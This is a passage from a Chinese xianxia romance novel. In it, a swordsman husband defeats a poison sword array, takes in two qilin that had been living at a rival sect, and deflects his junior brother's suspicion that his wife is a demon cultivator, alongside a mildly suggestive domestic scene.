原本一直在旁观的江千寒忽然问她:“在你看来,多大岁数……算是老头?”
云棠愣住了,没想到江千寒会问她这个问题,她一时不知道要怎么回答。
她只知道,闻人照至少有七十岁了,这把年纪还不好好管教自己的弟子,纵容他们犯下杀人夺宝的恶行,无论怎么算,全都是他们赤头峰的错。
“我们什么时候能走啊?”云棠小声问江千寒,“我不想再和他们说话了。”
江千寒抬手给云棠罩上一层金光结界:“很快就能走了。”
“呵。”闻人照意味不明地笑了一声。
他的耐心似乎已经耗尽了。
他闭上双眼,再睁开时,神色反而平静了许多。
他看向江千寒,一句一顿道:“留下这个女人和木灵藤,你独自一人离开,我便会放你一条生路。”
江千寒语气平静:“这话应该我来说,带上你的人,现在就走,今日之事,我可以当作没发生过,但机会只有这一次。”
荒原上,风声渐渐停息,方圆百里之内,鸟雀也都飞走了,只剩下那一只三头鸟,如山一般巍峨,立在众人身后。
闻人照笑了:“好大的口气,你可知道,得罪我闻人照,是什么下场?”
江千寒也笑了。
漫不经心的笑容,甚至有一丝怜悯的意味。
他说:“你的修为,只有第七层。”
“自找死路,”闻人照猛然挥袖,“剑来!!”
天边涌起一片浓黑乌云。
狂风从四面八方吹过来,一把锋利长剑冲破了黑云,飞速落入他掌中。
闻人照怒喊一声:“结阵!”又命令他的三头鸟:“放毒!”
赤头峰众多弟子一同拔剑,无数毒虫从剑鞘中涌出,攀附在剑刃上,每一只毒虫都只有芝麻大小,顺着剑身缓缓爬动,留下一层黏腻毒液。
云棠低头一看,这个剑阵好像在地上扎根了,原本生机勃勃的野草已有大半枯萎了,草叶上浮现出一条又一条黑色纹路,往外喷射出几缕极细的青烟,全是毒气。
三头鸟竖起羽毛,立在剑阵之中,双翅一扇,那毒气凝成十几道旋风,飞掠而出。
“夫君!”云棠急忙转头,却发现江千寒还没拔剑出鞘。
金光结界在他脚下蔓延,毒气撞上金光,嘶嘶一响,立即消散了。
他的神色没有丝毫变化,也不在意那个百人剑阵,只看着那只三头鸟。
几团旋风拧绞在一处,它满身的棕褐色羽毛被吹得蓬乱,脱落了几根,羽管上还挂着几只毒虫。
江千寒仔细打量了一会儿,很不满意似的,移开了目光,直视前方。
可是闻人照也不在他正前方,总而言之,江千寒就是没用正眼看闻人照。
云棠见他如此镇定,不由得松了一口气,不知哪里来的胆子,她忍不住问:“为什么闻人照也会用剑呢,他明明是兽修啊?”
江千寒回答:“道法三千,本就相通,剑道的门槛不算高,入门也不难。”
云棠追问:“那要怎样才算入门呢?”
江千寒认真解释:“我从前和你说过,每一种功法的口诀分为两部分,第一部分是纲领,也是心法,第二部分是招式,也是结果……”
高手对决,最忌讳“分心”二字。
江千寒在这个时候给云棠讲解功法,显然是完全没把闻人照放在眼里。
“放肆!!”闻人照怒不可遏。
江千寒分明是在羞辱他。
闻人照将长剑向前一刺,众多弟子同时踏步,毒雾从剑刃上淌下来,丝丝缕缕汇入阵中。
这一瞬间,四周气浪汹涌,如风潮,如海啸,掀动了江千寒的衣袍。
闻人照
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手中长剑回旋,毒雾与剑气交织成一张大网,似有千斤之重,轰然砸向了江千寒。
江千寒还在问她:“什么纲领,能破剑阵?”
云棠飞快回答:“火、火……烧了它!”
江千寒纵身一跃,身影在几块山石之间穿梭,躲开了剑风的袭击。
他仍在教导云棠:“火能破阵,却无法解毒,仔细想想,还需要什么?”
云棠大声喊道:“净、净化?要驱散毒气!”
“答得很好,算是入门了,”江千寒抬起右手,今日第一次握上了剑柄,“在仙界剑法之中,烈日纲领可以破阵,皓月纲领可以解毒。”
那一把重剑出鞘三寸,剑身上燃起一层金色光焰,如同盛夏烈阳一般灿烂。
他缓声道:“这一招名叫,烈日,焚天。”
云棠屏住了呼吸。
江千寒继续说:“这一招是皓月,清晖。”
剑已出鞘五寸,金焰之上,又覆盖了一层银辉,一冷一热两道气息交缠相融,威力倍增。
“合在一起。”
剑尖出鞘,江千寒凌空跃起。
剑刃上金银两道光芒大涨,照得天空一片刺眼的雪白,令人无法直视,他挥剑,一招斩落:“日月,同辉。”
狂暴剑气横扫而出,毒雾化为虚无,一百多柄长剑在一瞬间崩碎,碎得彻底,连一点残渣都看不见了,那些弟子全都跌坐在了地上,三头鸟把自己的脑袋埋进了翅膀里,就连闻人照也跪地不起了。
漫天尘土,渐渐落定。
闻人照也知道江千寒手下留情了,他擦去自己唇边的血丝,大喊一声:“走!!”
他头也不回,御风而去,飞快奔向山镇。
望着他手忙脚乱的背影,云棠长叹一口气:“这件事应该到此为止了吧?他们不会再回来了吧?”
她很高兴:“今天终于见识到了仙界剑法,虽然我也不知道以后能不能用上,但是……”
江千寒从她身旁走过去,她正站在那一块山石上,他左手一伸,搂过她的双腿,直接将她扛在肩上,漫步向前走:“日子还长,慢慢学也来得及。”
云棠还没完全平静下来。
今日实在经历太多,一喜一怒一惊一乍,各种情绪乱成一团,她又累又兴奋,心脏还是跳得很快,力气却不剩多少了,双腿沉甸甸的,走不动半步路。
江千寒托在她膝弯处的手臂往下沉了一寸,另一只手又把她往上掂了一掂,换了一个更稳妥的姿势,让她舒舒服服地坐在他的前臂上。
云棠本就疲惫,巴不得少走两步路。
她软绵绵地靠向他,双手勾住了他的脖颈,只觉得他的胳膊也是硬邦邦的,粗壮又结实,就像一根铁杵,牢牢托住了她的臀部。
脸颊又有一点泛红了,她小声说:“夫君,带我回家吧。”
“正在回家的路上。”他低声回答。
江千寒步子迈得大,手还是很稳,这样抱着她走,竟然像是毫不费力似的,脚步比平时更快了许多。
云棠几乎感觉不到颠簸,低头一看,自己手腕上的小青安安静静,连叶片都没晃动一下。
她摸了摸它的藤蔓:“好乖啊。”又有些担心:“小青?你不会是被吓傻了吧,怎么一动不动的?”
小青还是没有反应。
她正要再戳一下,江千寒忽然停住了脚步。
他转过身,望向远处的山镇。
云棠顺着他的目光望过去。
远处群山连绵,忽有一座山峰骤然亮了起来,千百道金光从山顶射出,众多修士的声音汇成一股音浪,震动山野:“苍天在上,厚土为证,恭请镇宗神兽显灵!”
5. 金火麒麟
镇宗神兽是什么东西?
云棠心里又有一种不妙的预感。
她趴在江千寒的肩膀上,双手紧紧环绕着他的脖颈。
天边涌起几朵乌云,荒原上寒气弥漫,冷风灌进衣袖,凉丝丝的,吹得她更清醒了。
她仔细一想,闻人照毕竟是一峰之主,在人间也算是有头有脸的大人物。今日,他兴师动众,带了一百多个弟子前来寻仇,却被江千寒打得落荒而逃,这口恶气,他真的能咽下去吗?
回到百木门之后,他一定会向长老禀报此事。
而且,他亲眼看见江千寒使出了仙界剑法。
仙界与凡界之间有一道“仙凡界律”,仙界修士不得擅自闯入凡界干涉凡人因果。
百木门一定是想请出上古神兽做个见证,把“仙神违约、大开杀戒”的罪名捅到上界去,好借天道之手来镇压江千寒!
想到这里,云棠打了个寒颤。
她本以为这件事到此为止了,江千寒赢了,闻人照跑了,小青也保住了,却不曾想,百木门还要赶尽杀绝。
怎么办呢?
云棠侧过脸,额头紧贴着江千寒:“我们快跑吧,去哪里都行,我愿意和你一起浪迹天涯。”
江千寒的手掌抚上她的后背:“还没到那一步,别怕,仙界是讲理的地方,我不会让你受半点委屈。”
云棠抬头,正要开口说话,又望见天边浮起薄薄一层金光,从远处吹来的风里夹杂着一股清香,似是檀香,又似是松木,清新自然,让她想起了春末夏初的松树林。
云棠定睛一看,在那一片金光之中,闻人照正在御风飞行,他身后是百木门三位长老,还有一头威风凛凛的麒麟。
这是云棠生平第一次见到真正的金火麒麟。
它比她想象中更大,体态修长,气度从容,如同仙鹿一般灵动。
它身上的皮毛是极深极浓的火红色,毛发蓬松而柔软,光泽油亮,云棠一看就知道,那麒麟毛一定很好摸,蓬蓬的,暖暖的,她要是把自己的双手搭上去,手指都能陷入绒毛里。
火焰形状的浅金斑纹从它颈侧一路延伸到尾巴上,它的尾巴像牛,身体像鹿,四蹄上覆盖着一层金红色鳞片,脑袋像鹿又像龙,头顶还有一双赤金色龙角,玉石般温润通透。
金火麒麟越来越近了。
云棠忘记了害怕。
她脑子里只剩下一个念头:好漂亮的麒麟,好想摸它一下。
“喜欢金火麒麟吗?”江千寒问她。
“嗯,”云棠点头,“好喜欢。”
话音未落,她猛然回神:“放、放我下来吧。”
江千寒把她放到了地上,她双腿站直,忍不住又偷看了一眼麒麟,它落到了草地上,那一双金瞳里照出了云棠的倒影。
云棠和它打了个招呼:“早安。”
它的脑袋歪了一下,像是在思考。
百木门的三位长老和闻人照都站在麒麟身后,闻人照并未留意云棠,只盯着江千寒,目光锋利,恨不得在江千寒的衣服上盯出一个窟窿。
闻人照冷笑一声:“阁下是仙界修士,应当知道‘仙凡界律’的分量,神兽在此,你有什么话,就跟神兽说吧。”
江千寒沉默不语。
闻人照双手合十,面朝麒麟,恭敬地拜了一拜:“今有上界仙神,仗着自己修为通天,在凡间大开杀戒,伤我赤头峰弟子数百人!仙凡之间,本有界限,岂容他大胆妄为,祸乱人间纲常?恳请神兽为我百木门做主,将此人的种种罪行如实禀报上界!!”
云棠很疑惑:“不对吧?刚才打架的时候,明明只有一百多人,哪来的数百人?”
闻人照脸色一僵,不过片刻之后,又冷声道:“另外那几百个弟子,在山上听说了这魔头的暴行,也都吓得双腿发软、昏死过去!若不是他手段太过毒辣,我百木门弟子怎会吓成这样?全是他造的孽!”
“呵呵,”云棠也冷漠地笑了笑,“那些弟子连面都没露过,你怎么知道他们昏倒了?怕不是有人打了个哈欠,传到你嘴里就变成昏死过去了吧。”
闻人照吵不过云棠,当然也不敢动武,又转向麒麟,拱手道:“请神兽为我们主持公道。”
江千寒上前一步,与麒麟对视:“还记得我吗?”
麒麟那一双赤金色的大眼睛猛地睁圆,蓬松皮毛上的火焰纹都变暗了。它发出了一声短促的鸣叫。
方才它飞过来时,低鸣声沉稳威严,方圆百里之内,所有鸟兽自觉退散。
而现在,它像一只受惊的小鹿,嗓音尖细而惊慌:“嗷呜。”
闻人照的眉头皱了起来。
江千寒又往前走了一步。
麒麟连忙后退了一步。
那一对长着金红鳞片的前蹄不慎踩到了一块石头,在草地上绊了一下,它站稳身形,又连退三步,简直把江千寒当作了瘟神,非要避开他不可。
江千寒看了它片刻,又问:“另一头麒麟在哪里?”
它僵在原地,双眼转了一圈,又扭过头,用鼻尖朝着远处的山镇拱了拱。
显然,另一头麒麟也在百木门。
江千寒站定不动:“这八年来,你们二位,在人间过得自在吗?”
麒麟不再后退,它收拢四蹄,趴到了地上,那一双毛绒绒的立耳也变平了,一点一点往后压,几乎埋进了火红色绒毛里。
江千寒像是在和它叙旧:“当年仙魔大战之后,凌苍剑宗派人来找过你们,找了三年没找到,以为你们在大战中陨落了,还给你们记了一笔战功。”
麒麟不动,也不出声,以不变应万变。
江千寒反而笑了,语气平静一如往常,听不出喜怒:“原来你们没有陨落,只是在百木门享受凡人供养,享受了整整八年。”
“嗷呜呜呜!”
麒麟喊出了一长串急促的鸣叫,含混不清,前蹄在嶙峋的石头上踩出“哒哒”的巨响。
云棠听不懂兽语,但她莫名觉得自己理解了那一串叫声的意思,大概是“我不是故意的,我就是休息休息,没想到睡过头了”之类的。
闻人照终于忍不住了:“这到底是怎么回事?!”
江千寒还是没理他。
闻人照脸色铁青。他与江千寒搭话多次,江千寒从不回应,几乎扫尽了他的脸面。
他正要发作,百木门长老拦住了他。
那位长老双手抱拳,深深一揖。他的姿态更低,语气也更恳切:“这位仙君,老朽是百木门长老宋友仁,失礼了,向您赔个不是,闻人峰主性情急躁,若有冒犯之处,还望仙君海涵。”
他直起身子,瞥了一眼伏在地上的麒麟,语气更加温和:“敢问仙君,今日之事,究竟因何而起?若是我百木门弟子有错在先,我等绝不偏袒,定会给仙君一个交代。”
云棠抿了一下嘴唇,心里暗想,这位长老刚来的时候,一直在冷眼打量江千寒,等到麒麟趴在地上,连耳朵都不敢竖起来,他才忽然换了一副嘴脸,又是抱拳又是赔礼,他那几句场面话里,又有几分真心呢?
云棠也不想再搭理他们,她躲到了江千寒的背后。
江千寒抬手,指尖在空中一点,顿时金光四溢,光线化成了一只白鸽,迅速飞向天空。
云棠知道,那是“飞鸽纸符”,凡间灵气稀薄,普通的传信术无法穿透两界屏障,要从凡间往仙界传信,只能用这个办法。
云棠小声问:“夫君,你给仙界传了什么消息?”
江千寒收回手:“八年前仙魔大战,两头金火麒麟受了重伤,坠落凡界,上界还有不少仙友
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至今仍在为它们伤心吊唁,如今找到了,自然要报一声平安。”
百木门三位长老和闻人照一听此言,脸色都不太好了。
仙界修士都以为麒麟死了,为它们伤心了八年,结果它们活得好好的,在百木门吃饱了睡、睡饱了吃,日子过得比在天上还舒坦,这事传回仙界,百木门说得清吗?
那百木门的长老立即弯腰,又把来龙去脉解释了一遍,恳求江千寒能为他们说些好话。
八年前,百木门捡到两只重伤的金火麒麟,以为是天降祥瑞,立即把麒麟接回了宗门。
麒麟天性高傲,岂会认凡人为主?百木门从来不敢有这个念头,更何况,就算是仙界修士,麒麟也不一定看得上。
这八年来,百木门把麒麟当祖宗一样伺候,好吃好喝地供着,当然也不算白忙活。
麒麟虽然整天吃了睡、睡了吃,浑身散发出来的祥瑞之气却是实打实的好东西,百木门方圆百里的风水都被它们养得极旺,灵草长得比别处快一倍,灵兽个个膘肥体壮,就连山上的泉水都比从前更甘甜了。
说到此处,长老叹了一口气:“我们凡间修士,最怕的就是遇上不讲理的高人……闻人峰主与仙君起了冲突,百人剑阵也被仙君一剑冲破,众多弟子至今惊魂未定,本门长老得知此事,只当是来了一位深不可测的强敌,若是不管不问,恐怕百木门上下都要遭受灭顶之灾,这才不得不惊动了麒麟。”
他话锋一转,脸上堆起了笑意,拱手又是一揖:“不过,今日亲眼见到了仙君,老朽方才明白,本门以小人之心度君子之腹了,仙君行事磊落,气度非凡,绝非那等恃强凌弱之辈,先前种种,想必都是误会,还望仙君大人大量,高抬贵手,饶恕本门愚钝之罪。”
江千寒转过身去,转瞬之间,他已走出几步远,只留给他们八个字:“今日之事,到此为止。”
云棠也想息事宁人,她看着百木门的三位长老,鼓足勇气,大声说:“你们……你们回去以后,要好好整顿门风,管好自己的弟子,冯庆全那种事,不能再有下一次了!我……我夫君是仙界修士,凡间的恩怨纠葛,他不便插手,你们自己一定要查清楚!”
长老们低头拱手,态度恭敬极了。
云棠长舒一口气。
太好了!
此事圆满解决了!
云棠一路小跑追上江千寒,他一把握住她的手腕,又问了一句:“还不走吗?”
云棠反应过来,江千寒这句话,是说给那一头麒麟听的。
麒麟立即站起身来,飞快跟上江千寒的脚步。它抖了抖蓬松的皮毛,仰起头,长鸣了一声,悠远,响亮,在草原上空回荡,传入远方群山之中。
它正在呼唤另一头麒麟。
闻人照急忙追出一步:“等等!!”
长老们也慌了,又不敢拦住江千寒的去路,只能放声高喊:“仙君!麒麟是我百木门镇宗神兽,多年来与我百木门相依相伴,不能就这样带走啊!仙君,求您开恩!!”
云棠摇了摇头,江千寒开恩也没用啊,他并未召唤麒麟,是麒麟自己要跟他走的。
天边又亮起一团火光。
另一头麒麟从巍峨高山上飞来,比云棠身边这头更大一些,鬃毛更浓密,龙角更粗壮,在空中划出一道金红色光柱。
它的四蹄之下,祥云翻涌,周身萦绕着一股祥瑞之气,正是云棠之前闻到的那股沁人心脾的香味,这就是金火麒麟,真不愧是凡间修士万分敬仰的神兽。
这一头麒麟平稳落在了同伴身侧,它低头,用鼻尖碰了碰同伴的额头,然后也跟在了江千寒身后。
百木门的长老们站在原地,面如死灰。
两头麒麟跟着江千寒和云棠一路向前走,渐渐消失在众人视野之中,不知去往何处了。
6. 双修
当天傍晚,云棠回到了她和江千寒的家。
他们的家位于一座幽静山谷之中,门前是一片清澈湖水,倒映着苍翠山影,一望无际。
去年春天,江千寒在湖边建起了一栋楼阁,共有三层,以白玉为砖瓦,以玄铁为立柱,十分坚固,无论刮风下雨打雷,屋内总是温暖的,连一丝寒风都吹不进来,云棠已经在这里住了一年多。
阁楼东侧是一片茂盛果林,一年四季都有鲜果长成。
如今正是隆冬十二月,橘子、柿子早已熟透了,冬枣也是一簇一簇地挂在树上,指甲轻轻一掐,饱满的枣皮上便会溢出一丝清甜汁水。
云棠拎着一只竹筐,摘了几串新鲜水果放进去,又绕去了北侧的药圃,挖出来几株灵芝、一把鲜嫩的仙草,摆在水果之上,把竹筐塞得满满当当,亲手送到了两只麒麟的面前。
每当家里来了客人,云棠都很热情大方,总会把家里的美食都拿出来。
那两只麒麟也没和她客气,脑袋伸进了竹筐里,把水果、仙草全吃完了,半点不剩。
江千寒在阁楼旁边另辟了一间宽敞竹屋,当作两头麒麟的住所,地上铺了一层暖玉石板,又盖了一层丝绵绒毯,踩上去软软绵绵的,极有弹性。
麒麟喜欢通透敞亮的地方,因而,这屋子的四面墙有三面开了窗,窗格上蒙着一层雪蚕纱,身处屋内,抬眼便能看见屋外的湖光山色。
麒麟就这样住了下来。
云棠问江千寒:“麒麟什么时候会回仙界呢?”
江千寒只答了一句:“会有人来接它们。”
云棠没再继续问了。
今晚下了一场小雨,雨水淅淅沥沥,敲打着玉楼竹帘。
水雾从湖面上飘来,渐渐漫过了山谷,云棠看不清远景,干脆倒下来,躺在床上,把头枕在江千寒的腿上。
屋子里没有点灯,只有一颗夜明珠悬在床帐之内。
珠光朦胧,月色昏暗,正是睡觉的好时候,她有些犯困了,闭上眼睛,打了个哈欠,再睁开双眼时,只见江千寒正在低头打量她。
她不知道他在想什么。
她拽了一下他的衣裳,很单薄的一件寝衣,稍微一扯,他的胸膛露出了大半,健硕的肌肉线条分明,还有几条长短不一的伤疤,像是被什么利器划出来的,从他的肩膀一直延伸到腹部,形状狰狞,她从来不敢细看。
她连忙把头低了下去。
江千寒反倒抬起了她的下巴。
他的手好烫,四指绕到了她的颈后,拇指压在她颈侧的脉搏上,那一跳一跳的脉动全被他握在了掌心里。
“呜……”她小声吞咽了一下。
他粗糙的指腹在她的柔嫩肌肤上轻轻一划,什么痕迹都没留下,她的呼吸已经乱了:“嗯……”
过了好一会儿,江千寒开口了,声音很低,像是自言自语:“最近是不是偷懒了?”
云棠的脸颊红透了,她知道,他说的不是打坐练功。
她胡乱回答:“我、我没有偷懒,一点都没有,我一直都很努力的,真的,你要相信我。”
“是么?”他低下头,灼热的呼吸洒在她唇上,“那我看看。”
他要看哪里呢?
云棠并拢了双腿。
江千寒笑出来了:“我要看的是你的脉象,你在想什么?”
云棠感觉自己的耳朵都烧起来了,又羞又恼,她把脸埋进枕头里,闷声喊道:“江千寒。”
江千寒双手压在枕边:“夫人有何吩咐?”
她迟迟不回答,他的右手沿着床单慢慢下划,停在她的腰侧,猛然握住了她的左腿根部。
她吓了一跳:“啊,夫君!”
江千寒手上力道加重了几分,故意耍她似的,又问了她一句:“叫我干什么?”
云棠回头一看,才发现她已完全沉入他的影子里。他的身影如山一般笼罩着她,目色也是黑沉沉的,像是野兽盯住了猎物。
可是现在已经是亥时了,若是与他双修,那至少要两三个时辰才能结束,今晚就别想睡觉了。
云棠扭过头:“明天我还要早起,现在我要睡觉了。”
江千寒的手劲松了松,却并未完全放开:“每日至少双修一次,长此以往,才能固本培元,你这样断断续续地修炼,什么时候修为才能升上去?”
怎么了,他也嫌弃她修为低吗?
云棠又有些气恼。
江千寒收手把她抱入怀里,她张嘴在他肩膀上咬了一小口,当然只用了一点劲,绝对没有弄疼他,他反倒很不满意:“力气再大点,使劲咬。”
云棠眨了眨眼睛,没听他的命令,小心翼翼地亲了亲他左肩上那一道长疤。
他的喉结滚动了一下,手掌紧密贴合她的腰线。
他的灵力纯正至极,源源不断地传送过来,注入她的脉息之中,无比温暖,她感觉自己像是泡在温泉里,舒服得脚趾都蜷缩起来,眼睛也睁不开了。
她迷迷糊糊地想着,江千寒是剑修。
一个能把剑气控制到分毫不差的人,他的手指对力道的掌控,究竟精准到了什么地步?
他能用一根手指劈开山岳,也能用同一只手让她神魂颠倒。
这么一想,呼吸又变得急促起来,她双腿绞紧了被子,扭成一团,直到江千寒从她背后贴过来,再一次伸手,牢牢抱紧她,她才终于睡着了。
一夜好梦。
次日清晨,云棠醒来的时候,江千寒不在床上。
她抬头看向窗外。
昨夜下过一场雨,空气里浮动着一缕缕雾气,小青正在院子里撒欢,它的根部深深扎进了泥土里,藤蔓缠绕在一棵粗壮的老榕树上。
榕树的枝头挂满了水珠,小青探出一根细软的枝条,把露水一点点吸入自己的叶片里。
看到小青这么活泼,云棠也松了一口气。
小青虽然是灵植,但它不喜欢麒麟,云棠也不知道为什么,每当麒麟靠近它,它就会全身绷直,紧张得不得了,可能是害怕麒麟把它吃掉吧?
云棠拿它没办法,只好把它与麒麟隔开了。
麒麟住在东边的竹屋里,小青住在西边的榕树下,中间隔着一栋楼,二者互不打扰。
云棠起身下床,洗了个热水澡,又换了一身衣裳。
粉白色丝绵薄衫,配上一条水青色半身绸缎长裙,腰带是青碧色丝带,穿堂风一吹,那腰带就飘起来了。
她坐在铜镜前,拿起木梳,梳理长发,挽了一个简单的发髻,从妆匣里挑了一支桃花钗簪上去。
钗头的花瓣是粉色水晶雕成的,光泽莹润,映着晨曦,真像一支刚开不久的桃花。
她又拿起一只白瓷小瓶,往掌心倒了几滴桃花香露,抹在颈间和手腕上,等到香气散开,她才跑出房间:“夫君?”
卧房位于阁楼第二层,门外是一圈回廊,云棠双手搭在白玉栏杆上,往下一看,江千寒正站在前院里,距离江千寒不远处,还有另一个陌生男子。
那人身量高大,相貌清俊,穿着一件墨蓝色长衣,只用一条黑色缎带束发,右手握着一把重剑,剑身宽厚沉重,剑鞘上没有一丝纹饰。
他的五官生得端正,剑眉入鬓,鼻梁高而直,一双丹凤眼之中毫无情绪,目光清清冷冷,如同冰雪一般凛冽,天生一副不好说话的面相。
他是谁?云棠从没见过他。
他和江千寒说了几句话,他们二人应该是旧相识。
云棠仍在思考,江千寒喊了一声:“小棠?”
云棠跑下了楼,直奔江千寒而去。
她跑得太快,差点撞上江千寒。
江千寒的目光落在她身上,立即抓住了她的手腕,五指收拢的一瞬,他的手背上浮现出几条明显的青筋。
“怎么了?”云棠还没反应过来。
江千寒状似平静地松开手,宽大的黑衣袖摆挡住了他的手背。
他扶住她,等她站稳了,他才低声说:“很好看。”
天光明亮,树影摇曳,他的声音如风一般轻,飘入她耳朵里。
她的耳根也染上一抹绯红,小声回应:“嗯,桃花钗是你前天在镇上给我买的。”
站在不远处的那个蓝衣男子咳嗽了一声。
江千寒这才想起他,随意介绍道:“这位是我的同门师弟,池归雪。”
云棠心里暗想,原来这个男人是江千寒的同门师弟,怪不得他身上也挂着一把重剑。
她转过身,看向池归雪:“幸会,我名叫云棠,我和你师兄……”
池归雪竟然打断了她的话:“我知道,你和师兄成婚已有一年,幸会,大嫂。”
池归雪这一声“大嫂”,叫得云棠有点害羞。
云棠支支吾吾:“你好像也是一个很厉害的剑修,你叫我大嫂,我有点不好意思。”
自从江千寒一招击败闻人照,云棠已经猜到了,江千寒的修为在第十层之上,虽然她无法理解,但她还是默默接受了现实。
现在,江千寒的师弟池归雪找上门来,云棠猜测,池归雪的修为也是极高的,而她自己的境界还没突破第二层,她心里当然也是有一点羞耻的。
池归雪明白了她的意思:“大嫂不必介怀,师兄是师父的关门大弟子,我叫你大嫂,合情合理。”
话音刚落,江千寒又握住了云棠的手腕。
云棠心神稍定,还很好奇:“池公子,你也来自仙界……凌苍剑宗,对吗?”
池归雪淡然道:“正是如此,我和师兄都是凌苍剑宗的剑修,不过,师兄的境界远在我之上。”
云棠又问:“请问,你今年贵庚呢?”
池归雪实话实说:“二十六岁,修为第九层第一段。”
第九层第一段?!
他是人吗?
云棠惊叹:“这、这是天才吧?!百年不遇!”
池归雪想了想,很认真地说:“算是吧,但师兄十五岁就练到第九层了,师兄是天下第
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一剑修。”
云棠羞愧得想要钻入地缝里。
池归雪看穿了她的心思:“大嫂不必担忧,虽然你的修为还是第一层,只要你勤学苦练,百年之内,必定能升入第二层。”
云棠怔了一怔:“一百年?可是,一个普通的修士,要修炼到第八层,才能长生不老……第八层之后,身体会一直保持二十岁出头的模样,我现在还是第一层,一百年那么久,我根本熬不到那个时候,早就死了呀。”
池归雪的眼里没有一丝同情或怜悯,他点了点头,坦然道:“请节哀,大嫂。”
云棠惊呆了:“啊?我还没死呢?”
江千寒忍无可忍,瞥了池归雪一眼:“别听他胡说八道,他修炼了二十多年,还不到我一半的境界,有什么资格在这里教你。”
池归雪双手抱剑,抬头看天:“与师兄相比,我确实差得远,与大嫂相比,我还是高出了许多。”
江千寒忽然转移了话题:“你今日来人间做什么?”
池归雪从衣兜里拿出两块玉牌,上面刻着仙界的符文:“师父收到了你的飞鸽纸符,让我把玉牌送过来,给麒麟带上,叫它们尽快回仙界,仙界灵气充沛,更适合休养生息。”
江千寒接过玉牌:“走,我带你去看麒麟。”
他侧目,又对云棠说:“我已经把早饭做好了,你先吃,我和师弟待会儿过来。”
池归雪也看向了云棠:“麻烦大嫂给我留些点心,我虽然早已辟谷,平日也会吃点东西,对气血运转有好处。”
云棠“嗯”了一声。
池归雪说话很直接,云棠一点也没生气,只觉得他完全没有恶意,她也不应该和他计较。
而且,他毕竟是江千寒的师弟,看在江千寒的面子上,云棠一定会好好招待他。
云棠转身走入楼阁:“你们看完了麒麟,就来一楼花厅吧,我会把碗筷准备好的。”
从前院到竹屋还有一段距离。
江千寒缓步走过去,池归雪跟在他身后,并未留意他的神色,只说:“师兄,我有一句话,不知道该不该说出来。”
江千寒爽快答应:“你我是同门师兄弟,有什么话,不妨直说。”
池归雪叹了一口气:“师兄,我怀疑大嫂……不是凡人。”
江千寒又问:“此话怎讲?”
池归雪抬起手来,指向了西边:“师兄你也知道,那木灵藤的主人是大嫂,木灵藤本是魔界灵植,看不起凡人,如果大嫂真是一个普通修士,那木灵藤根本不可能认她为主。”
江千寒似乎听进去了:“继续。”
池归雪继续说:“大嫂身上似乎有一种极淡的魔气,每个魔修身上的魔气都不一样,大嫂的魔气很特别,像是春日桃花,很香,还有点甜。”
江千寒的右手握上了剑柄,那长剑挂在他腰间,尚未出鞘。
池归雪丝毫没察觉,还说:“如果大嫂当真是魔修,师兄,你千万不能心软。”
江千寒轻声回答:“确实不能心软。”
池归雪面露欣慰之色:“师兄果然不愧是天下第一剑修,拿得起放得下,我原本还担心你会听不进这番话,不过师兄显然是分得清轻重的,那这件事就好办了。任由魔修留在你身边,早晚是个祸患,我会把大嫂带回仙界,交给宗门长老处置……”
剑光一闪。
江千寒拔剑出鞘,剑刃一扫,卷起一股刚烈霸道的剑风,将池归雪抛到了天上。
半空之中,迎着呼啸的冷风,池归雪越飞越高,越飞越远,这才反应过来,师兄方才那句“不能心软”,原来是对他这个师弟说的?!
师兄竟然直接把他打飞了!!
腿上一阵剧痛,他连翻了两个跟头,才勉强稳住身形。
山谷之中,依旧风平浪静。
短短一刻钟后,江千寒回到了阁楼。
云棠已经把桌椅擦得干干净净,三副碗筷摆放得整整齐齐,盘子里放着枣泥糕、桂花糕、莲蓉糕,还有一屉虾饺、一锅小米粥、一碟炒河粉。
云棠看见江千寒独自一人走过来,忍不住问:“池公子怎么不见了呢?”
江千寒拉着她坐下:“师弟一心钻研剑道,说话从来不过脑子,让你见笑了,他在宗门里也闹过不少笑话,大家都叫他武痴。”
云棠给江千寒盛了一碗粥:“没关系的,他毕竟是你的师弟,我知道他没有恶意。”
江千寒端起碗,喝了一口粥,才说:“他突然有事,先走了。”
“就这么走了?”云棠看向了窗外,“也不打一声招呼。”
江千寒往她碗里夹了一只虾饺:“他就是这样的人,向来无礼,不必跟他计较。”
云棠心想,夫君脾气真好,师弟那么无礼,他也不生气,怪不得人家能当天下第一。她暗暗下定决心,以后也要像夫君一样,做一个宽容大度的人。
她轻轻笑了笑,高高兴兴地回答:“嗯,夫君,那我们先吃吧,不等他了。”
7. 魔气
临近午时,院外传来一阵沉重杂乱的脚步声。
云棠正蹲在院子里给麒麟喂食,两只麒麟都吃得很香,母麒麟甚至把脑袋搁在她腿上,任由她轻轻抚摸蓬松的鬃毛。
忽然,两只麒麟一同抬起了头。
云棠顺着它们的目光望过去,池归雪正拄着他那把重剑,一瘸一拐地走过来。
他的左脚似乎扭伤了,每走一步,都要用长剑撑一下地面。
他的头发上挂着几片树叶,蓝衣袖摆上也破了一个洞,双手沾满了泥土,手背上还有一条血印。
看起来好狼狈啊。
池归雪对上云棠的视线,脸上神色不变,点了点头:“大嫂,午安。”
云棠吃了一惊:“你这是怎么了?”
池归雪正要开口解释,只听“砰”的一声重响,江千寒推开了楼阁正门,缓步走到了云棠身侧。
两只麒麟后退了半步。
江千寒扫了池归雪一眼,好像很关心他似的:“怎么伤成这样?路上遇到妖兽了?”
池归雪抿了一下嘴唇,过了片刻,还是忍不住说了实话:“师兄把我打飞了。”
他指了指自己的左腿:“师兄突然拔剑出鞘,我还没回过神,便有一股狂暴剑风扫到了腿上,我被掀飞了,飞到了三百里之外,好不容易才找到回来的路。”
听完池归雪的话,云棠皱紧了眉头。
她仔细思考了一会儿,认真道:“我不相信你说的话。”
江千寒抬起左手,搂过了云棠的肩膀:“夫人英明。”
云棠点了点头,又看向池归雪:“我夫君脾气很好,很讲道理,从来不会无缘无故动手打人,而且,你好歹也是第九层的剑修,怎么连一招都接不住呢?难道,我夫君随便一出手,就能把你打飞三百里吗?那、那你也太弱了吧……”
池归雪沉默了。
他木然站立着,伸出一只沾满泥土的手,拂去头发上的一片落叶,稍微整理了一下自己的仪容,然后又把腰杆挺直了。
他侧过头,察觉到了江千寒的目光。
江千寒依旧平静,脸上没有任何表情,态度也是十分疏远淡漠,完全不关心池归雪的伤势。
池归雪瞬间明白了江千寒的意思:管好你的嘴,不该说的话别说。
池归雪僵硬地笑了一声:“刚才不过是在和大嫂开玩笑,师兄并没有打飞我,是我自己……遇到了一头妖兽,很凶,很强。”
云棠叹了一口气:“原来是这样啊,你稍等,我去给你拿药。”
她一溜烟跑远了。
